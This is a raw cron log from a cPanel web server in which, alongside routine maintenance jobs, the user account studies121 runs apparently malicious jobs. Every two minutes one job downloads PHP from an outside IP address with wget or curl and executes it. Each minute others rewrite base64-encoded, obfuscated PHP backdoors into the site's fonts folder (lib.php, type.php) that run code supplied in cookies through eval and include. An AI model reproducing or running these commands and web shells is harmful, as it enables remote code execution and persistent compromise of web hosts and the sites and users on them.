Sep  5 12:11:01 ip-184-168-122-23 CROND[12775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:11:01 ip-184-168-122-23 CROND[12777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:12:01 ip-184-168-122-23 CROND[12943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:12:01 ip-184-168-122-23 CROND[12945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:12:01 ip-184-168-122-23 CROND[12947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:12:01 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:12:01 ip-184-168-122-23 CROND[12949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:13:02 ip-184-168-122-23 CROND[13182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:13:02 ip-184-168-122-23 CROND[13185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:13:02 ip-184-168-122-23 CROND[13183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:13:02 ip-184-168-122-23 CROND[13184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:14:01 ip-184-168-122-23 CROND[13458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:14:01 ip-184-168-122-23 CROND[13460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:14:01 ip-184-168-122-23 CROND[13462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:14:01 ip-184-168-122-23 CROND[13461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:14:01 ip-184-168-122-23 CROND[13463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:15:01 ip-184-168-122-23 CROND[13725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13731]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13728]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 12:15:01 ip-184-168-122-23 CROND[13729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:16:01 ip-184-168-122-23 CROND[14055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:16:01 ip-184-168-122-23 CROND[14056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:16:01 ip-184-168-122-23 CROND[14058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:16:01 ip-184-168-122-23 CROND[14059]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:16:01 ip-184-168-122-23 CROND[14063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:16:01 ip-184-168-122-23 CROND[14064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:17:01 ip-184-168-122-23 CROND[14311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:17:01 ip-184-168-122-23 CROND[14312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:17:01 ip-184-168-122-23 CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:17:01 ip-184-168-122-23 CROND[14313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:18:01 ip-184-168-122-23 CROND[14590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:18:01 ip-184-168-122-23 CROND[14593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:18:01 ip-184-168-122-23 CROND[14595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:18:01 ip-184-168-122-23 CROND[14596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:18:01 ip-184-168-122-23 CROND[14594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:19:01 ip-184-168-122-23 CROND[14812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:19:01 ip-184-168-122-23 CROND[14813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:19:01 ip-184-168-122-23 CROND[14815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:19:01 ip-184-168-122-23 CROND[14816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:20:01 ip-184-168-122-23 CROND[14976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:20:01 ip-184-168-122-23 CROND[14979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14983]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:20:01 ip-184-168-122-23 CROND[14978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:20:01 ip-184-168-122-23 CROND[14984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:21:01 ip-184-168-122-23 CROND[15156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:21:01 ip-184-168-122-23 CROND[15157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:21:01 ip-184-168-122-23 CROND[15159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:21:01 ip-184-168-122-23 CROND[15158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:22:01 ip-184-168-122-23 CROND[15288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:22:01 ip-184-168-122-23 CROND[15287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:22:01 ip-184-168-122-23 CROND[15286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:22:01 ip-184-168-122-23 CROND[15289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:22:01 ip-184-168-122-23 CROND[15290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:23:01 ip-184-168-122-23 CROND[15400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:23:01 ip-184-168-122-23 CROND[15401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:23:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:23:01 ip-184-168-122-23 CROND[15404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:24:01 ip-184-168-122-23 CROND[15614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
